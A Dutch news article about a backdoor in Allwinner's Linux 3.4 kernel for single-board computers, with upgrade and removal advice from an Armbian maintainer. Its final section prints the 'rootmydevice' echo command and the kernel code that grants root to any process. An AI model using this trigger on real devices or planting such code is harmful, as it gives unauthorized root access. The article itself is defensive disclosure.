Het gaat hierbij om een kernel die is gebaseerd op Linux 3.4 en speciaal voor apparaten is gemaakt die gebruik maken van Allwinners chipset. De achterdeur is gelukkig niet in de mainstream kernelsource terecht gekomen al lijkt de besmette kernel wel te zijn gebruikt door andere firmware-bouwers.

Sesam, open u: rootmydevice

De toegevoegde achterdeur kan worden geopend door het woord rootmydevice te schrijven in een speciaal bestand /proc/sunxi_debug/sunxi. Het bijbehorende proces krijgt dan root-rechten. Het maakt daarbij niet uit vanuit welk proces deze opdracht gegeven wordt. Hierdoor is deze achterdeur makkelijk te misbruiken. Zeker als er netwerkservices draaien die toegang hebben tot /proc.

De bug is naar buiten gebracht door een van de maintainers van de Linux-distributie, Armbian. In het Armbian-forum laat de maintainer, die zichzelf tkaiser noemt, weten dat de bug in Armbian inmiddels al is gepatcht maar dat andere systemen en fabrikanten, die gebruik maken van Allwinners kernel, nog steeds kwetsbaar zijn.

Verschillende apparaten

Tkaiser heeft contact opgenomen met verschillende fabrikanten om ze op de hoogte te brengen van het probleem maar tot nu toe heeft er, op FriendlyARM na, nog niemand gereageerd.

Het is niet bekend hoe wijsverspreid het probleem precies is maar op dit moment is een groot deel van de besturingssystemen voor de Raspberry Pi kloons kwetsbaar waaronder Orange Pi, Banana Pi, Cubietruck, pcDuino8 Uno en waarschijnlijk andere gadgets die de chipset Allwinner sun8i (h3/A83T/H8) aan boord hebben.

Op de volgende pagina: De gewraakte code en de workarounds.

Armbian? Upgraden!

Tkaiser drukt iedereen die Armbian gebruikt op het hart zo snel mogelijk te upgraden naar versie 5.10. Dit kan gedaan worden met het commando's sudo apt-get update en sudo apt-get upgrade. Maar men kan natuurlijk ook gewoon de nieuwe versie van Armbian flashen op een micro-sd kaart of rechtstreeks naar het emmc-geheugen van je apparaat.

Ander OS? Workaround!

Mocht je geen Armbian draaien, kan je in elk geval kijken of het volgende bestand aanwezig is: /proc/sunxi_debug/sunxi. Als dat het geval is dient deze zo snel mogelijk te worden verwijderd. Daarnaast raadt tkaiser aan om andere fabrikanten, die gebruik maken van de geraakte chipset, op de hoogte te brengen van deze achterdeur. Er zijn niet alleen single-board-computertjes die gebruik maken van deze chipset. Maar ook veel kant-en-klare mediacenters, e-readers, en andere IoT-apparaten.

Zo werkt de achterdeur

Zoals je kon lezen op de vorige pagina is het een kwestie van het schrijven van het woord rootmydevice naar /proc/sunxi_debug/sunxi. Elk proces met elke UID kan root worden door de volgende opdracht te geven:

echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug

De code die verantwoordelijk is voor deze ellende ziet er zo uit:

if(!strncmp("rootmydevice",(char*)buf,12)){

cred = (struct cred *)__task_cred(current);

cred->uid = 0;

cred->gid = 0;

cred->suid = 0;

cred->euid = 0;

cred->euid = 0;

cred->egid = 0;

cred->fsuid = 0;

cred->fsgid = 0;

printk("now you are root\n");

}